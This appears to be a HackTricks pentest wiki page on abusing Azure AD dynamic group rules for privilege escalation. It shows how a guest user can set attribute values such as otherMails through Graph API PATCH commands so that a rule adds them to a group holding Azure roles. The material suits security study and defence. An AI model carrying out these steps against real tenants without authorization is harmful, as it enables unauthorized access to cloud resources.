# Az - Dynamic Groups Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Basic Information

**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.

Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.

This feature requires Azure AD premium P1 license.

## Privesc

Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.

Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**

### Example

- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group

For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:

```bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
  --url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
  --headers 'Content-Type=application/json' \
  --body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
  --query "otherMails"
```

## References

- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)

{{#include ../../../../banners/hacktricks-training.md}}



